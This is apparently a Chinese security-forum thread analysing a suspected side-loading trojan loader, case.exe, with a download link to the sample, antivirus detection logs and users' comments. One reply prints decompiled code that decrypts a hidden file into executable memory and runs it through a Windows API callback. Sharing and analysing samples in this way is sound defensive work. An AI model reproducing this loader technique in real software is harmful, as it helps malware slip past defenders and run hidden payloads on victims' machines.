疑似白加黑1x

DisaPDB

从某台卡的要死的老电脑上找到的https://www.123pan.com/s/sAX5Vv-dhnX.html

Asirt

case.exe 像个loader

祸兮福所倚

特洛伊木马

aboringman

case（警觉！）（

wowocock

int curl_easy_init_0()
{
  SIZE_T FileSize; // edi
  void *buffer; // ebx
  HANDLE hFile; // [esp+Ch] [ebp-8h]
  DWORD NumberOfBytesRead; // [esp+10h] [ebp-4h] BYREF

  hFile = CreateFileA(FileName, 0x80000000, 0, 0, 4u, 0, 0);// FileName        db 'C:\Windows\Logs\xo.had',0
  FileSize = pGetFileSize(hFile, 0);
  buffer = VirtualAlloc(0, FileSize, 0x1000u, 0x40u);
  NumberOfBytesRead = 0;
  ReadFile(hFile, buffer, FileSize, &NumberOfBytesRead, 0);
  DecryptCode(buffer, FileSize, 211);
  CryptEnumOIDInfo(0, 0, 0, (PFN_CRYPT_ENUM_OID_INFO)buffer);
  return 0;
}

UNknownOoo

火绒

1. 扫描文件：1
   
2. 发现风险：1
   
3. 已处理风险：1
   
4. 病毒详情：
   
5. 风险路径：C:\Users\UnknownOoo\Downloads\Compressed\Logs\case.exe, 病毒名：Trojan/ShellLoader.gn, 病毒ID：e83d75351c9b1045, 处理结果：已处理，删除文件

复制代码

swizzer

前几天的包里的衍生物吧

DisaPDB

swizzer 发表于 2023-12-8 16:53
前几天的包里的衍生物吧

不知道，没在这台电脑上测试过样本，估计原主人留下来的

yaokai815

金山毒霸miss

123456aaaafsdeg

yaokai815 发表于 2023-12-8 17:50
金山毒霸miss

已上报